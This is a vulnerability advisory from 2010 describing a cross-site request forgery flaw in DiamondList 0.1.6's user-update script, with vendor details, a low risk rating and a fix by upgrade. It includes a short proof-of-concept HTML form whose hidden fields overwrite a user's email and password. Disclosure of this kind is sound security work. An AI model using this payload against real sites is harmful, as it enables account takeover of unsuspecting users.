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HistoryAug 08, 2010 - 12:00 a.m.

XSRF (CSRF) in DiamondList


Vulnerability ID: HTB22517
Product: DiamondList
Vendor: Hulihan Applications ( )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (

Vulnerability Details:
The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/user/main/update_user/1&quot; method="post" name="main" >

<input type="hidden" name="user[email]" value="[email protected]" />
<input type="hidden" name="user[first_name]" value="First Name" />
<input type="hidden" name="user[last_name]" value="Last Name" />
<input type="hidden" name="user[password]" value="1234" />
<input type="hidden" name="user[password_confirmation]" value="1234" />
<input type="hidden" name="commit" value="Update" />

Solution: Upgrade to the most recent version